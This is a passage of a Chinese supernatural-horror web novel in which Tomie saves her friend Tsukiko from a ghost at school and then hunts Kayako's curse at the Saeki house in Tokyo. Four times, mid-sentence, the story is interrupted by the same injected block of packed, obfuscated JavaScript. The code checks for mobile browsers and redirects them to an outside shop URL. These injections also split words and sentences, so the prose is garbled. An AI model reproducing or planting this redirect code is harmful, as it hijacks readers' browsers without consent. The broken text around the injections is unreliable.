到最后,她只能开始用手使劲拍着,一边拍一边喊:“有人吗——!有人吗——!大门被锁住了!!” 可惜的是正门距离校门口的保安厅还有一段距离,月子喊得嗓子都有点疼了,也没见有人过来。 女孩只得后退几步。 但这也很奇怪,她刚才的声音大得都有回声了,为什么值班老师还没有赶过来? 抱紧怀中的书包,短发女孩扭过头,看向了漫长的走廊。 夕阳正逐渐转为暗色,橙红色的天空也一点点地被紫色蚕食着。 再过不久,天就要彻底黑了。 她当机立断,朝教学楼的后门走去。 和一放学就会被锁住的前门不同,后门是教职工老师们用的,距离值班老师办公室也近。 月子以前也因为留校过晚进过一楼办公室,所以知道那里有可以联络保安室和外界的电话,以及大门的备用钥匙。 她想搏一搏运气。 “可能老师只是有事不在楼里,所以才没听到声音……对,就是这样!” 女孩一边走一边安慰自己。 “只是巧合而已……只是巧合!” 在红日彻底消失在天边的同时,她也平安到达了值班老师的办公室。 其实在去办公室前,月子带着一丝侥幸心理,先去了后门,但结果令人失望。 后门也是锁着的,根本打不开。 那老师去了哪里? 怀着这个疑问,泉泽月子深吸一口气,敲了敲办公室的门。 “那个……对不起,有人在吗?老师?” 屋内很安静,无人应答,灯也没亮。 月子尝试着拧了一下门把手,转不动,似乎也是锁着的。 一楼值班室没人,两个出口的门都锁了,而她现在还留在教学楼里。 猛然,东京酒店那一夜,走廊拐角的小男孩背影浮现在了月子的脑海里。 女孩狠狠地打了个寒颤。 “……不行……” 月子摇摇头,把胡思乱想晃出大脑之外。接着干脆地转身,准备在一楼找一扇没锁的窗户直接翻出去! 什么监控,校规,她才不管,现在自己可是被锁在教学楼里了诶。而且,万一真的被锁到晚上,大门也锁了该怎么办?! 泉泽月子下定了决心,刚没走出去几步,却忽然听见身后传来了“啪嗒”一声。 她下意识回头,然后看到刚才还似乎上了锁的值班室大门,不知道怎么的,打开了一条缝。 ------------------------------------- 与此同时,镇上最大的私立医院里,富江正坐在单人病房中陪伴自己的养父。 下午体检,老人的身体没什么大碍,就是得了感冒。 但因为他之前差点脑梗过,身体本来也虚弱,医生不敢托大,干脆又让他住院了。 几趟下来,家里的人对流程也都熟悉,无非就是晚上需要家里有人陪护。富江还在上学,这份工作就落在了女佣身上。 身为佣人的保子回家去拿陪床的生活用品,富江便短暂地接替了她的工作,照顾起了熟睡的老人。 她正安静地坐在床边看书,须臾之间,雪白的病房消失了,取而代之的,是一间陈旧又狭小的屋子。 富江抬起头,她的面前并非老人的病床,而是一张木桌。 桌子对面坐着一个白裙,黑色长发的女人。她低着头,双眼看着空无一物的桌面,长发垂落下来,快要把整张脸都遮住了。 “……真稀奇,你居然主动找我。” 富江放下书,耐心地看着女人。 “怎么了?是想和我聊天吗?” 那天在井里,大一点的山村贞子选择抓住她的手。 但那之后,就算富江有意识去和她搭话,对面也基本没反应。 她永远都呆在这个属于自己的小屋内,绝对不会踏出去一步。 之前唯一一次主动和她产生意识交流,也是因为—— 一个不怎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14354120|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么美好的回忆浮现在脑海中,富江脸上的笑容淡了一些。 与此同时,山村贞子也缓缓开口道:“诅咒并不是那么容易就可以逃离的东西。” 富江面无表情地看着白裙女人,看到她缓缓抬起头,第一次用那双哀怨的,充满血丝的眼睛和她对视。 “你应该知道的。” “我回来了。” 一道他人的声音骤然响起,昏暗的木屋消失无踪,富江的意识回到了医院里。 是保子带着洗漱用品回来了。 “抱歉小姐,收拾东西稍微花了点时间。” 自从上次老人住院,宅邸被人入侵,保子和富江的关系就变得缓和了很多。 其实这位年轻的女佣是个温柔的女孩,她是真心实意地在照顾老人。只因为老人也同样善待这个家里的所有人,即使他已经失去了真正的女儿。 “没关系。” 富江摇摇头,合上书本站起身。 “这两天也要辛苦你照顾爸爸了,保子姐姐。” “我在家里准备了吃的,另外小泉先生大概后天就能——” “我今晚可能不回家了。” “诶?” 女孩优雅地整理了一下散落的长发:“我要去找月子。” 她这话说得对面拧起眉毛:“可是——” 现在已经晚上七点,天已经快黑了啊。 “没办法保子姐姐,月子那边来了几位客人。”富江弯起嘴角:“我怕她应付不过来。” 客人? 这个时间点,什么客人能去拜访一个普通女高中生? 几秒钟后,反应过来的保子脸色变得煞白。 作为小泉凌的同伙,她对富江到底是个什么东西,以及身边暗中发生的诡异事件心知肚明。 “但是小泉先生他还没回来!” “我知道。” 相比焦急的保子,富江却显得很平静。 她甚至温柔地捧起了女佣的脸。 “所以才要告诉保子姐姐你啊。” “富……富江小姐……” 女孩宛如黑珍珠般的瞳仁里,映着保子微微泛红的脸。 “那些客人,可能还没有姐姐好相处呢,所以保子姐姐要好好陪着爸爸,好吗?” 女孩的声音甜美又温柔,像是细腻又甜美的蜜糖,直接从耳朵沁进了听的人的骨头里。 鬼使神差的,保子点了点头。 富江心满意足地笑了起来,给了她喜爱的另一位姐姐一个拥抱。 “放心,我不会有事的。” 她只是去和远道而来的客人打声招呼而已,能有什么事呢? 16. 第 16 章 而另一边,泉泽月子看着自己身后的门缝,心脏咚咚狂跳。 她刚才用力拧了一下把手,还拉了一下,门确实是锁起来了。 那现在又是怎么回事? “那个……有人在吗?” 月子小心翼翼地走近,眯着眼,试图从门缝中看到屋子里的情况。 里面黑洞洞的,什么都看不到。 恍惚间,女孩甚至有种门缝里的暗正在向外散发着黑气的错觉。可当她全神贯注地看,飘散的黑气又消失了。 走廊的灯光有些闪烁,窗外,夕阳已经完全落下,就连天空也已经由橙转紫。 马上就要彻底天黑了。 老师的值班室里应该有备用钥匙。只要她走进去,找到备用钥匙,就可以离开这个已经变得有些阴森的学校。 只要踏出一步。 明明是很简单的事情,但第六感却在提醒月子,不要打开那扇门,也不要进去。仿佛黑漆漆的门缝后面并不是平日里大家熟悉的,有些狭小,堆积着杂物的值班室。而是另一个什么其他的空间。 稍微纠结了两秒,泉泽月子决定照原定计划行事,找个窗户翻出去。 结果刚转身跨出去两步,女孩就看到漆黑的走廊深处猛然闪过了一道小小的白影。 很小,并不是成年人的身形,倒像是不到十岁的小孩。 但他们学校是中学,而且已经傍晚了,为什么会有小孩在学校里游荡? 酒店那一夜的怪异经历又猛然浮现在女孩脑海中。 她猛然停住了脚步。 不能往前走。 这个想法闪过的瞬间,走廊的灯光也开始闪烁不定。 月子全身上下的毛孔都在叫嚣着危险,冷风吹来,她起了一身的鸡皮疙瘩。 瞬息之间,月子做下了决定。 “……可恶……!” 她狠狠咬住下唇,转身决绝地跑向了虚掩着的值班室。 值得安慰的是,房间里的灯是能打开的。 走廊的灯光依然在闪烁不定,月子也心神不宁。 明亮的白炽灯并不能给她带来安慰,反倒将屋内的一切都照得有些惨白刺眼。 桌面上摊放着一些书本和登记表,还有一个保温壶,椅子也是半拉开的。 就是不见老师的身影。 月子当机立断,直接奔向她的目标,墙上的备用钥匙架。 与她想的一样,大门的钥匙就在这里。整个架子上挂满了钥匙,没有少任何一个。 没有少任何一个。 那么,值班的老师到底去了哪里? 这么走神了一下,月子没拿稳后门钥匙,那枚小小的金属物啪嗒一下掉在了地上。 一边担心着不见人影的老师,女孩一边蹲下身,想把钥匙捡起来。 然后,她的余光看到了地面上晕着一些奇怪的东西。 泉泽月子缓缓地转动头部,将视线聚焦,对准了那一丝“怪异”。 白炽灯的光惨白惨白的,映照在地面上的那摊红褐色液体上,微微反光。 女孩的心跳又加快了。 她甚至有一种窒息感,下意识张开嘴急促起呼吸。 那红色的液体并不是凭空出现在地上的。 在它上方,是一个方形的储物柜。铁皮柜底部的缝隙,还残留着液体流出的痕迹。 月子握着钥匙的手颤抖起来。 她缓缓站起身,向闭合着的储物柜前进。 到了距离液体只有一步之遥的地方,女孩停了下来。 那红褐色的液体越看越不对劲,她不敢伸手摸,只得将手伸向面前的柜门。 但就在指尖即将接触到把手的那一刻,泉泽月子又停住了动作。 此时此刻,她脑中传来了一种奇妙的感觉。 就像是刚才站在外面一样,那个感觉迅速从大脑蔓延至全身,不断地警告她,让她不要打开这个柜子。 ‘打开了就完了。’ 就在这时,白炽灯猛然发出了“啪”的一声,惊醒了恍惚的月子。 她猛然收回手,惊慌失措地站起身就准备往外跑! 但,已经晚了。 就在转身的瞬间,不知为何,一直安然无恙的灯忽然开始像外面那样不断闪烁。 同时,女孩听到了身后传来金属摩擦的声音。 她几乎要无法呼吸了,身体却不自觉地被那声音吸引,转了过去。 在看清楚自己面前东西的瞬间,月子终于再也撑不住,双脚一软,直接摔倒在了地上。 储物柜的门已经被打开,里面放着的,是老师。 值 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14365614|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 班室的老师。 他就像是被孩子偷藏进柜子的布娃娃一般,手脚都被折成了奇怪的角度,以便更好地塞进柜子里。 鲜血染红了老师的衣服,打湿了他的头发,一路顺着断肢流到柜子下面,顺着缝隙渗了出去。 月子张着嘴,她想尖叫,但极度的恐惧让嗓子只发出了“啊,啊”的声音。 女孩手脚并用着,不断地往后退,试图将自己与储物柜里的老师拉开距离。 然后更为诡异的事发生了。 最开始,是一阵诡异的,像是管子漏气时发出的“咯咯“声。 紧接着,老师的手臂颤了一下,他整个人被什么东西缓缓推出了柜子。 失去了铁皮的禁锢,那些本来就不适合被放在狭窄空间的手脚立刻支棱了出来,伴随着重量,扑通一声落在地上。 月子此刻已经退到了门边,扒着把手站了起来。 可是,无论她怎么努力,那没有上锁的门都打不开。 “咯咯咯”声越来越大,拧动着门把手,疯狂推门的月子,看到柜子里出现了一只惨白的手。 一个黑色长发的女人,缓缓地从柜子里爬了出来。 她长发凌乱,满身鲜血,黑白分明的眼睛死死瞪着面前的女孩,张着流着血的嘴,发出了“咯咯咯咯”的声音。 彻骨的寒意包裹住了泉泽月子,她紧紧地靠主大门,手中握着钥匙。 恐惧淹没了这个女孩,看着越来越近的女人,她绝望地闭上了眼—— 然后,伴随着一声凄厉的猫叫,背后坚硬而冰冷的门空了。 因为惯性,月子的身体不自觉地向后倒去,然后落入了一个微凉却柔软的怀抱。 有什么人捂住了她的眼睛。 瞬间,封闭的值班室,惨死的老师,弥漫在鼻间的铁锈味,甚至发出“咯咯”声的血衣女人,都不复存在。 一股奇妙的甜香包裹住了月子。 “晚上好啊。” 这个温柔又甜美,尾音总是微微上扬的声音……是谁? “就算是远道而来的客人,随便对别人的朋友出手可不行哦。” “……富江……?” 耳边忽然爆发出了刺耳的尖叫,然后,一切都消失了,黑暗彻底侵袭了泉泽月子。 她昏了过去。 17. 第 17 章 富江捂着月子的眼睛。 她的眼睛,头发都变成了黑红色。 紧接着,就像是什么东西从这个女孩的身体中溢出来了一般。黑红色的泥开始源源不断地从她的眼耳口鼻涌出,从发间滴落,甚至影子中翻涌而出。 这些泥就像是有生命一般,发出咆哮,迅猛地袭向屋内浑身是血的女人。 那女人身上,满是祂热爱的味道。 充满了诅咒,怨念,恶意,不甘的味道。 黑红色的泥侵蚀到女人的瞬间,这个喉咙已经被割开的恶鬼发出了刺耳的尖叫! 黑气源源不断地涌出来,剧烈的怨念充斥着整个空间。在她刺耳的尖叫声中,玻璃纷纷炸裂,阴风卷起了杂物与纸片,整个现场乱成一团。 察觉到怀中的女孩身体彻底软了下来后,富江面无表情地歪了歪脑袋。 下一秒,汹涌的污泥发出了欢呼般的咆哮声,张开原本不存在的“口”,朝恶鬼扑了过去。 刺耳的尖叫瞬间变成了痛苦的嘶嚎。 满脸是血的女人试图从包裹自己的泥中逃脱,却无论如何都做不到。就连充斥在这个空间中的怨念,也变成了这些黑泥大快朵颐的目标。 没过一会儿,嘶嚎声越来越弱。取而代之的,是什么东西的咀嚼声。 当空间中的最后一丝怨念也被吞噬殆尽,那些污泥发出了满意的咕嘟咕嘟声,接着开始迅速往回缩,又乖巧地回到了女孩的身体里。 短短几秒,值班室又恢复了平静。唯有破碎的玻璃,以及惨死教师的尸体,昭示着刚才屋里发生的惨剧。 “月子……” 富江看着怀里的短发女孩。 她显然是被吓到了,就算已经昏迷,眼角旁还挂着泪水。 漆黑的怨念虽然已经被吃干净了,却在泉泽月子的身上留下了痕迹。 只要再晚来一秒,她就会落得和值班室的老师一样的下场。 只要她再晚来一秒。 一种莫名的情绪充斥在富江的心里。 和她之前学会的每一种感觉都不一样,她感觉自己的心胀胀的,哪怕前一刻才品尝到了人间美味,现在也因为这种感觉,完全高兴不起来。 这是为什么呢? 富江搂着女孩坐在地上,蹭了蹭对方温暖的脸颊,闭上了眼睛。 瞬间,似曾相识的尖叫声充斥了她的脑海。 他人的记忆开始伴随着正被消化的怨念,源源不断地涌入。 富江看到了很多人的记忆。 在值班室唐突受到袭击,被生生拽入储物柜死亡的老师。 为了家访,去到学生家里面,却无意间发现了对方母亲畸恋自己的素未谋面的男教师。 在家中等待丈夫归来,却被凶犯残忍杀害并取出了肚中孩子的妻子。 因为父母不和,被虐待殴打,最后与宠物一同被残忍杀害的小男孩。 最后,是一个女人。一个从小阴沉,不愿和旁人有过多来往的女人。 她从以前开始就一直暗恋班上俊俏的少年,却一直没能开口告诉他。 到最后,哪怕嫁了人,哪怕与丈夫生下了儿子,她也依然心怀爱恋,在日记本上写下了自己扭曲的感情。 然而那本日记本却被她暴躁阴沉的丈夫发现了。 沉默而扭曲的男人发了疯,将恶意洒向了每个人。 他杀了自己的妻子,儿子,甚至将魔手伸向了妻子的暗恋对象,怀着报复的心态杀死了对方的妻子,取出了她腹中的胎儿。 至此,一家人的怨念就这么纠缠在了一起。像雪球一般越滚越大,并且像病毒一般扩散了开来。 残杀了三人的男人没有逃过冤死鬼魂的索命,无辜的男老师被爱恋他的女鬼杀死。 每个被怨念沾染上的人,都逃不过死亡的命运。 而死亡之人的怨念,又会再度汇聚在那间小小的屋子里,等待着感染、同化下一个路过的无辜之人。 富江看到了那间曾经住着一家三口,有独门独院的小楼。 它的门前标着名牌。 “佐伯” 那个因为枉死,将怨念扩散到每个角落,杀死了所有人,如今正在被泥消化,依然不断发出惨叫的女人,则叫做佐伯伽椰子。 川上富江睁开眼睛。 已经彻底入夜了,值班室的灯在之前的骚动中被炸碎,整个屋内一片漆黑。 又感受了一会儿怀中友人的体温,富江先是站起身,来到已经那个已经被折得七零八落的值班室老师身边,俯下身—— 那些吞噬了伽椰子的泥再度从孔洞中涌了出来,将尸体严丝合缝地包裹住。 不过这次它们并没有吞噬什么。 待黑泥褪去,那个曾经死状凄惨的尸体,居然恢复了生前平静的容貌,就像是睡着了一样。 “嗯……原来是这样用的啊。” 这并非是她原本就拥有的力量。 这种类似于修复的能力,是富江在吞噬掉两个山村贞子之后才学会的。 记忆中山村贞子甚至曾经用这个力量修复自己的身体,让已死亡的自身复活,甚至在枯井中延续性命。 富江的身体本就拥有极强的修复能力,所以这种能力对她没什么用。 而且进行修复治愈,需要花费大量的能量。上次她光是帮月子治好脚踝,就饿了好几天肚子。 但现在,吞噬掉佐伯伽椰子后,修复完尸体的自己却完全没有感觉到一丝饥饿。 哪怕屋内一片漆黑伸手不见五指,现在的富江也能“看”到,“听”到。 若是闭上眼集中注意力,她的感官甚至能一下延伸到很远很远的地方,捕捉到每个能被意识覆盖着的区域的负面情感。 袭击月子的怨念并非是这一日才出现在这个城镇上的。 自从东京之行后,它一直无声无息地跟在她们之后,沾染新的无辜之人,产生新的咒怨。 这份强烈的咒怨不仅蔓延到了这座小镇上,它扩散到了很多地方。 就算现在佐伯伽椰子已经被富江吞噬,残余的咒怨也不会停止。它们会源源不断地继续产生下去。 若是以前,富江大概会嫌麻烦,把咒怨丢在一旁,等对方愿者上钩吧。 一直以来都是这样,就算她什么都不做,那些美味的猎物也会自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14376123|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凑上来。 但这次不行。 这次,她不想被动的站在原地等对方找上门了。 至于为什么…… 富江转过身,月子依然昏迷着。隔着这个距离,她也依然能看到女孩蹙起的眉头。 咒怨没有杀死她,却也给她带来了短时间内挥之不去的梦魇。 黑红色的泥发出咕嘟咕嘟的声音,来到昏迷的女孩身边,动作轻柔地将她包裹起来,带出了值班室。 她让黑泥藏在阴影中,带着月子,一路畅通无阻地回了家。 就算路上偶尔会有一些晚归的行人,也被她提前“看”到,避开了。 值班室里死了人,再过一会儿估计就会被开始巡逻的保安发现。 如果月子这时候留在教学楼,那之后肯定会变成嫌疑人。 但现在的富江,不想将好友交给任何人,也不想再看到什么“意外”发生。 胸口那种奇妙的不适感并没有消失,反而在看到小镇上蔓延的咒怨时,进一步加重了。 “这种感觉又是什么?” 女孩喃喃自语着,却没人解答她的疑问。 若是特斯卡特利波卡在,大概会大笑着鼓起掌来,并告诉她正确的答案吧。 可惜,她并没有找到那个男人的踪迹。 咒怨依然无声无息地在城镇中扩散着,只是没了佐伯伽椰子,增长速度慢了很多。 平安把泉泽月子带回自己家后,川上富江做了个决定。 她给小泉凌打了个电话。 “喂。” “凌叔叔,是我。” 电话那头沉默了几秒:“富江?” 其实这是女孩第一次给别人打电话,怎么说呢,感觉很新奇。 但现在并不是体会这份新奇感的时候。 “凌叔叔马上要回来了对吧?” “……发生什么事了?” 躺在床上的短发女孩在梦中发出了几句呓语,富江看着她,握着话筒继续道:“我要去东京一趟,从明天开始大概不会去上学了。另外,月子现在在我们家。” 虽说今晚就要出发,但她并不着急,耐心地和小泉凌讲着来龙去脉。 “在东京的时候,我遇到了很美味的东西。” 以富江自己的逻辑。 “当时因为和月子一起,所以我就放着没管。结果没想到对方居然找了上来,今天还对月子动手了。” 随着心中那股莫名的感情越来越激烈,黑红色开始在富江的眼睛里扩散。 “所以呢,我不准备和对方做朋友了。也不准备就呆在这里,什么都不做。” “那个词叫做什么来着……之前国文老师有在课上教过。” 女孩映在墙面上的影子开始拉长,变形。隐隐约约地,什么东西发出了低沉的吼声。紧接着,那些无形的东西扩散了开来,潜藏进了房子的黑暗中。 “哦对了,‘斩草除根’!” 吞噬掉佐伯伽椰子,并不能完全阻止咒怨蔓延。 所以现在,富江要前往东京,去一切悲剧的发源地,属于佐伯家的那幢屋子。 斩草除根。 18. 第 18 章 不等小泉凌回应,富江挂掉了电话。 潜藏在黑影中的东西已经彻底布满了整个大屋,在它们的保护下,泉泽月子能够安睡到天明。 而富江,她已经准备出发了。 说斩草除根可不是开玩笑,不过这种迫不及待的感觉对富江来说也很新奇。 她从来没有产生过如此强烈的感觉,从做决定到准备实施,也不过花了半天时间。 越是看着熟睡在床上的朋友,她前往东京,前往佐伯家的欲望就越强烈。 现在的富江尚不知自己的这份雀跃之情究竟是什么,不过不久之后,它的名字就会刻骨铭心地留在她的脑海里。 ——这份名叫“杀意”的感情。 不过,说是要出发,但现在天色已晚,这座小镇距离东京也有些遥远。 要怎么过去呢? 女孩站在窗前,歪了歪脑袋。 在学校吞噬了佐伯伽椰子的怨念之后,如今的富江浑身充满了力量。结合那种若有似无的感觉,她似乎有点找到操控自己力量的方法了。 就像现在。 富江闭上眼,脑中复现了佐伯家宅子的样子。 想要前往佐伯家的这个念头形成的瞬间,黑影中蠢蠢欲动的“泥”猛然跃起,包裹住了富江。 随后,女孩的身影迅速“融化”在了其中。 这些黑红色的生命体潜藏在夜晚的黑暗中,化作洪流,飞快地朝着东京所在的方向疾驰而去! 富江就在其中。 她闭着眼睛,全身像是沉浸在水里一般,却依然能清晰的感知到外界。 听到了夜里的虫鸣,汽车行驶过公路的噪音,无数人在夜里的嬉笑怒骂。 随着噪音越来越大,那种诱人的味道也愈来愈强烈。 充满怨念,悔恨,不甘,嫉妒,恐惧的,强烈的负面情感。 或许对于他人来说,这些负面情感,能量是不好的,甚至致命的毒。但对女孩来说,却是无上的珍馐美味,是她力量的来源。 循着诱人的味道,洪流精准地冲向了位于练马区的一幢小宅子,却又在最后关头,堪堪停在了门前。 夜已深,就算是繁华的东京都,此刻路上也没什么行人。 寂静的街道上,唯有路灯还在坚守自己的工作。 白炽灯的光映照在路两旁,将灌木的影子拉长。风一吹动,那些蠢蠢欲动的黑影,宛如触手。 曾经发生过惨案的佐伯家,在路灯的映照与杂草灌木的衬托下,更显森冷可怖。 附近的人都知道这个家的古怪,一旦太阳开始落山,就算是周边的邻居,也一定会选择绕路走。 但也正因如此,没有人看到这副有些诡异的场景: 阴风袭来,树木齐齐剧烈地开始摇晃。地面上的影子也一同摇晃着,渐渐的,它们开始弯曲,汇聚,最终,在佐伯家门前形成了一个漆黑的“深潭”。 一道身影从忽然出现在道路中央的黑潭中缓缓浮出。 那是个美丽的女孩。有着乌黑的长发,雪白的皮肤,圆杏一般的大眼睛,眼角还有一枚泪痣。 她的嘴唇很红,微微向上挑着,配合着那眉眼,似笑非笑。 短短几分钟,本来远在小镇上的川上富江,出现在了东京都内的佐伯家老宅前。 “嗯……” 从泥中浮出后,富江若有所思地打量了一下自己全身。 “感觉还不错。” 话音刚落,那黑潭开始不断收缩,蠕动,最后和她的影子,身体融为了一体。 感受着体内充沛的力量,长发女孩勾起嘴角,向前迈了两步,顺势推开了佐伯家的院门。 明明是已经废弃许久的屋子,院门却并未上锁。 而在富江眼中,夜里的佐伯家,弥漫出了更深重的黑雾,咒怨的味道也越发浓厚。 被吞噬的佐伯伽椰子尚未被彻底消化,此刻正在女孩体内发出尖叫。 不过,她的声音再大,对现在的富江来说也只像是小鸟啼鸣,只会让她的心情变得更好。 美丽的女孩走在佐伯家破败杂乱,充满腐臭味的小院里。她并没有着急去推门,而是端详着院内的景象,哼起了小曲。 除了杂草外,佐伯家的小院堆满了各种垃圾。 有弃之不用的家具,生锈的自行车,甚至还有很多已经灰扑扑的生活垃圾。 富江知道这个小院。 她在佐伯伽椰子的记忆中看到过,她的丈夫是个性格古怪的家伙,从来不做家务不说,对妻子和孩子也是动辄打骂。 后来,他虐杀了儿子喜欢的小黑猫,把它剁成了肉糜,洒在了院子里。 再后来,他将妻子和儿子杀了仍然不解恨,还跑到了妻子暗恋之人的家里,杀死了对方怀孕的夫人。 真是恶贯满盈的男人啊。 但……这个人,一定很好吃。 怀着一丝期待,力量从富江体内逸散而出。诡异的阴风席卷在整条街道上,吹得灌木丛的枝桠发出沙沙声响,路灯也开始变得明暗不定。 她越是接近玄关的大门,整条街的路灯闪烁得就越是剧烈,风也愈发喧嚣。 但奇特的是,即使阴风已经把灌木吹得沙沙乱响,也依然没有人注意到这片怪相。 最终,当女孩的手接触到门把手的同时,所有的路灯发出了轻微的爆裂声—— 整个街道瞬间陷入了黑暗! 寂静的黑暗中,响起了轻轻的一声“吱呀——”。 佐伯家的大门被打开了。 屋内一片漆黑,但这并没有阻止富江,她毫不犹豫地走了进去。 玄关的大门在身后被轻轻关上,阴冷而腐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14385168|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臭的风吹拂着川上富江的面庞,她意识之海中的怨灵爆发出了最为响亮的叫啸声。 门外,佐伯家的小屋前依然静悄悄的。 风停了下来,依然暗着,屋内屋外没有一丝声音。 而在富江的面前,黑雾不断合拢,散开,扭曲,最终汇集成了无数人影。这些人影的性别,年龄,甚至死状都各异,但他们无一例外,都正在用那充满怨恨的,没有眼珠的眼睛一眨不眨地盯着来人。 看着汹涌而剧烈的咒怨,川上富江露出了欣喜的笑容。 “各位,晚上好啊。” 她笑得一脸陶醉,黑暗中,粉白的面颊上甚至因为激动泛起了淡淡的红晕。 “我叫做富江,川上富江。” “是来吃掉大家的哟。” ------------------------------------- 在富江进入佐伯家后没过多久,一道高挑的影子出现在了这栋宅子门前。 “哦,看来已经吃完了,还挺快的嘛。” 月光洒在街道上,站在佐伯家门前的,赫然是与富江在东京有一面之缘的金发男人,特斯卡特利波卡。 他随意地推开屋子的院门,一手插兜,大步走向大屋那扇闭合的房门。 此时此刻的佐伯家,已经和之前充满阴冷寒意的状态完全不同。若是普通人类路过,也只会觉得这只是间有些阴森的旧屋,不会再有那种毛骨悚然的感觉。 男人轻易打开了没锁的大门,走进了凌乱的屋内,然后微微挑起眉。 没办法,毕竟这屋子的目之所及处,早已被黑红色的,不断蠕动的,像是泥一样流质的“生物”包裹得严严实实。 如今,陌生人入侵“泥”的领地,这让它们瞬间骚动了起来。 特斯卡特利波卡丝毫没有惊慌,随意地打了个响指—— 一股无形的力量拔地而起,将盘踞在屋内,原本准备一拥而上吞噬入侵者的“泥”统统聚拢包裹在一起,最后,将它们封进了宽敞的会客室。 同时,这股力量也无声无息地包裹住了佐伯家的宅邸。 “泥”发出了愤怒的咆哮,开始不断撞击透明的屏障和周围的墙壁。 但那股力量要比“泥”强得多,它化作了最强力的束缚与牢笼,将祂封入了这幢宅邸之中。 “呵,年纪不大脾气倒是不小。” 站在门前,看着还在不断撞击结界的泥,或者说,富江,特斯卡特利波卡笑了起来。 “刚吃下去这么多东西,连基本形态和理智都无法维持,本能居然还想着吞噬,你的本性也挺贪婪的。” “不过,我不讨厌你这种性格。” 说着,他伸出修长的食指,敲击着结界。 “好了,小贪吃鬼,现在我该拿你怎么办才好呢?” 19. 第 19 章 月子是被清晨的阳光弄醒的。 睁开眼睛的那个瞬间,她以为自己已经死了,来到了天国。 但下一秒,恢复神智的女孩发现自己躺在一张有些熟悉的床上。 这里并非月子的房间,而是她好友的卧室。 对了,川上富江! “富江?富江!” 喊着友人的名字,月子下了床,开始四处找寻。 偌大的屋子里空无一人,只有声音的声音在走廊中发出回响。 找寻朋友的时候,女孩路过了走廊的一面镜子,不自觉地停了下来。 她的身上还穿着校服,裙角上甚至有片已经干掉的污渍。 月子摸了摸那褐色的痕迹,心脏扑通扑通跳得飞快。 她清晰地记得自己昏倒前听到了富江的声音,醒来后又身处川上家,更加笃定了她的想法: 富江确实出现在了那个闹鬼的值班室。 在学校的恐怖经历此刻依然刻在脑海中。不管是闭锁的教学楼大门,还是闪烁的灯光,抑或是值班室惨死的老师以及那个浑身是血的女人。 即使阳光已经洒在了自己身上,月子却依然被恐惧包裹着,浑身发冷。 就在这时,屋内传来了“碰”的一声。 短发女孩被这个声音吓得一激灵,随即意识到,是川上家的大门发出的响动。 莫非是富江回来了? 身体先于意识开始行动,等月子回过神来,她已经来到了川上家的玄关。 一个瘦高而漆黑的身影,伫立在大门前。 但那并不是川上富江,而是这个家的管家。 “是……是你!” 听到响动,小泉凌抬头看了一眼月子。 明明是盛夏,他却依然一身黑衣,戴着一顶宽边帽,即使在室内也不肯脱下来。 “那个,不好意思,我在找富江,她——” “我知道。” 男人嘶哑着嗓子,打断了少女。 “她昨天晚上给我打了电话,说让你在家里休息。” “诶?”月子足足愣了有五秒,才结结巴巴地问道:“我,我是被富江带回来的吗?” “……大概是吧。” 那学校呢? 死在值班室的老师,还有那个浑身是血的女人呢? 月子浑身发软,满脑子只想着确认真相,赶忙冲下楼。 “我劝你现在最好不要出去。” 男管家的话硬生生止住了女孩的动作,她下意识看向那个面容可怖的人。 “什么意思?” 女孩这才反应过来,对方说“大概是”,也就是说他很可能也没有直接见过富江。 小泉凌的个子很高,站在月子面前的时候完全是俯视对方的。 “字面意思,你们学校昨晚死人了,现在整所学校都被围了起来,消息也传遍了。” 这话就像一把锤子,敲得泉泽月子的大脑轰的一下,变得一片空白。 看到女孩的脸血色褪尽,浑身都开始发抖,管家的嘴唇扭曲了一下。 “而你,一夜未归家,现在家里人估计已经急疯了吧。” 他因为火灾被毁容,如今暗红色满脸伤疤,反倒衬得那双黑白分明的眼睛显得分外渗人。 而此刻,这双眼睛则死死地盯着面色煞白的泉泽月子。 “要是还想多活几年,劝你少管富江的事。” 月子惊慌失措地逃离了大宅。 